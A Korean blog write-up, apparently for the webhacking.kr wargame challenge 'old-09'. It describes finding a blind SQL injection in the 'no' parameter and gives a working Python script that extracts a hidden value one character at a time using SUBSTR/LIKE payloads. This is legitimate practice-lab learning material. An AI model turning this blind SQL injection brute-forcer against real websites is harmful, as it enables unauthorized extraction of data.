old-09 풀이

2024. 3. 16. 16:33webhacking.kr

728x90

메인 페이지
1 눌렀을 때 페이지
2 눌렀을 때 페이지
3 눌렀을 때 페이지

1번 페이지와 2번 페이지를 눌렀을 때는 별다른 힌트가 나오지 않았는데, 3번 페이지에만 힌트가 나와있습니다

테이블의 컬럼명이 id와 no이고, 3번의 id는 "password"라고 합니다

아마 Blind SQL Injection 문제인 것 같습니다

문제에서 컬럼의 구성을 알려주었으니, 필터링되는 문자와 참/거짓의 출력이 어떻게 나오는지 등을 파악해 주면 됩니다

 

Secret Page URL

no에 여러가지 값을 넣어봤습니다

 

1~3을 제외한 숫자 : 별다른 문자열이 적혀있지 않은 페이지

특수문자 : Access Denied이 적힌 페이지

1 : Apple이 적혀있는 페이지

2 : Banana가 적혀있는 페이지

3 : Secret 페이지

 

그래도 괄호랑 substr, like는 필터링되지 않으니, 이걸로 파이썬 코드를 짜서 돌려주겠습니다

 

import requests
import string
result = ''


def sqli(query):
    url = 'https://webhacking.kr/challenge/web-09/?no=' + query
    r = requests.get(url)
    if 'Secret' in r.text:
        return True
    else:
        return False


for i in range(1, 12):
    for c in string.printable:
        if sqli(f'IF(SUBSTR(id,{i},1)LIKE({hex(ord(c))}),3,0)') is True:
            result += c
            break
print(result)

 

코드를 돌려서 나온 결과값을 Password 입력 폼에 넣어서 제출해주면 됩니다

문제 풀이 성공

728x90

'webhacking.kr' 카테고리의 다른 글

old-60 풀이  (0) 2024.03.25
RPG1 풀이  (0) 2024.03.18
old-28 풀이  (1) 2024.03.15
old-50 풀이  (1) 2024.03.14
old-53 풀이  (0) 2024.03.04